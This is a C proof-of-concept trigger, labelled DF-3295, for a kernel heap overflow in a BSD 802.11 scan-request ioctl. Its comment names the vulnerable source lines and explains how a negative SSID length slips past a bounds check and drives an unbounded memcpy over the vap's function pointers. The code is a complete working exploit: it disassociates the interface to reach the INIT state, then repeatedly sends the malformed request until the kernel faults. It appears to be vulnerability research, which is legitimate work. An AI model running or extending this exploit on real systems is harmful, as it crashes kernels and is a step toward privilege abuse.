/*
 * scanreq.c -- DF-3295 PoC trigger.
 *
 * SIOCS80211 IEEE80211_IOC_SCAN_REQ with a *negative* sr_ssid[0].len.
 * The validation in ieee80211_scanreq() (sys/netproto/802_11/wlan/
 * ieee80211_ioctl.c:2495-2497) only rejects len > IEEE80211_NWID_LEN:
 * a signed int of -1 passes, and the S_INIT stash branch then does
 *
 *    vap->iv_scanreq_ssid[0].len = -1;
 *    memcpy(vap->iv_scanreq_ssid[0].ssid,   <- 32-byte array inside vap
 *           sr->sr_ssid[0].ssid,            <- 32-byte array inside kmalloc'd sr
 *           sr->sr_ssid[0].len);            <- (size_t)(-1)
 *
 * (ieee80211_ioctl.c:2536-2540)  =>  unbounded linear kernel-heap copy:
 * source walks off the 128-byte kmalloc'd ieee80211_scan_req, destination
 * walks off iv_scanreq_ssid[0].ssid through the remainder of the
 * ieee80211vap (function pointers: iv_newstate, iv_reset, iv_key_alloc...)
 * and beyond, until a fatal page fault.
 *
 * Preconditions (see run.sh):
 *   - wlan vap in STA mode, interface UP (ic_nrunning != 0)
 *   - vap in IEEE80211_S_INIT so the stash branch runs:
 *     freshly-UP STA vaps are in S_SCAN, so we first push it back to
 *     S_INIT with an MLME DISASSOC (ieee80211_ioctl.c:1396-1400 does
 *     ieee80211_new_state(vap, IEEE80211_S_INIT, ...) for STA mode)
 *     while keeping the interface UP.
 *
 * Privilege: root (SIOCS80211 requires SYSCAP_NONET_WIFI,
 * ieee80211_ioctl.c:3472) -- same privilege as wpa_supplicant.
 *
 * Contrast DF-0642: that is the signed *sr_nssid* (-1) flowing to
 * ieee80211_scan_copy_ssid in ieee80211_scan.c via the *non-INIT*
 * branch.  This is the signed *sr_ssid[].len* flowing to the ioctl.c
 * memcpy in the *INIT* branch -- different field, different sink,
 * complementary preconditions.
 *
 * build: cc -O -o scanreq scanreq.c
 * run:   ./scanreq wlan0
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

#include <netproto/802_11/ieee80211_ioctl.h>

static int
do_mlme_disassoc(int s, const char *ifname)
{
	struct ieee80211req ireq;
	struct ieee80211req_mlme mlme;

	memset(&ireq, 0, sizeof(ireq));
	strlcpy(ireq.i_name, ifname, IFNAMSIZ);
	ireq.i_type = IEEE80211_IOC_MLME;
	ireq.i_len = sizeof(mlme);
	ireq.i_data = &mlme;

	memset(&mlme, 0, sizeof(mlme));
	mlme.im_op = IEEE80211_MLME_DISASSOC;
	mlme.im_reason = IEEE80211_REASON_AUTH_EXPIRE;

	return ioctl(s, SIOCS80211, &ireq);
}

static int
do_scanreq_negative_ssidlen(int s, const char *ifname)
{
	struct ieee80211req ireq;
	struct ieee80211_scan_req sr;

	memset(&ireq, 0, sizeof(ireq));
	strlcpy(ireq.i_name, ifname, IFNAMSIZ);
	ireq.i_type = IEEE80211_IOC_SCAN_REQ;
	ireq.i_len = sizeof(sr);
	ireq.i_data = &sr;

	memset(&sr, 0, sizeof(sr));
	sr.sr_flags = IEEE80211_IOC_SCAN_ACTIVE | IEEE80211_IOC_SCAN_ONCE;
	sr.sr_duration = 1000;			/* ms, within [MIN,MAX] */
	sr.sr_mindwell = 0;
	sr.sr_maxdwell = 0;
	sr.sr_nssid = 1;
	sr.sr_ssid[0].len = -1;			/* SIGNED: passes "len > 32" check */
	memset(sr.sr_ssid[0].ssid, 0x41, IEEE80211_NWID_LEN);

	printf("firing SCAN_REQ: sr_nssid=%d sr_ssid[0].len=%d\n",
	    sr.sr_nssid, sr.sr_ssid[0].len);
	fflush(stdout);

	return ioctl(s, SIOCS80211, &ireq);
}

int
main(int argc, char *argv[])
{
	const char *ifname = argc > 1 ? argv[1] : "wlan0";
	int s, i, rc;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");

	/*
	 * The vap must be UP (nrunning != 0) AND in S_INIT.  Retry a few
	 * times in case a queued scan task re-enters S_SCAN between the
	 * MLME and the SCAN_REQ.
	 */
	for (i = 0; i < 10; i++) {
		rc = do_mlme_disassoc(s, ifname);
		printf("mlme DISASSOC -> %d (errno %d)\n", rc, errno);
		fflush(stdout);

		rc = do_scanreq_negative_ssidlen(s, ifname);
		printf("scanreq -> %d (errno %d)\n", rc, errno);
		fflush(stdout);

		if (rc == 0)
			break;		/* stash branch ran; kernel is dead */
		usleep(200000);
	}
	printf("still alive after %d attempts\n", i + 1);
	return 0;
}
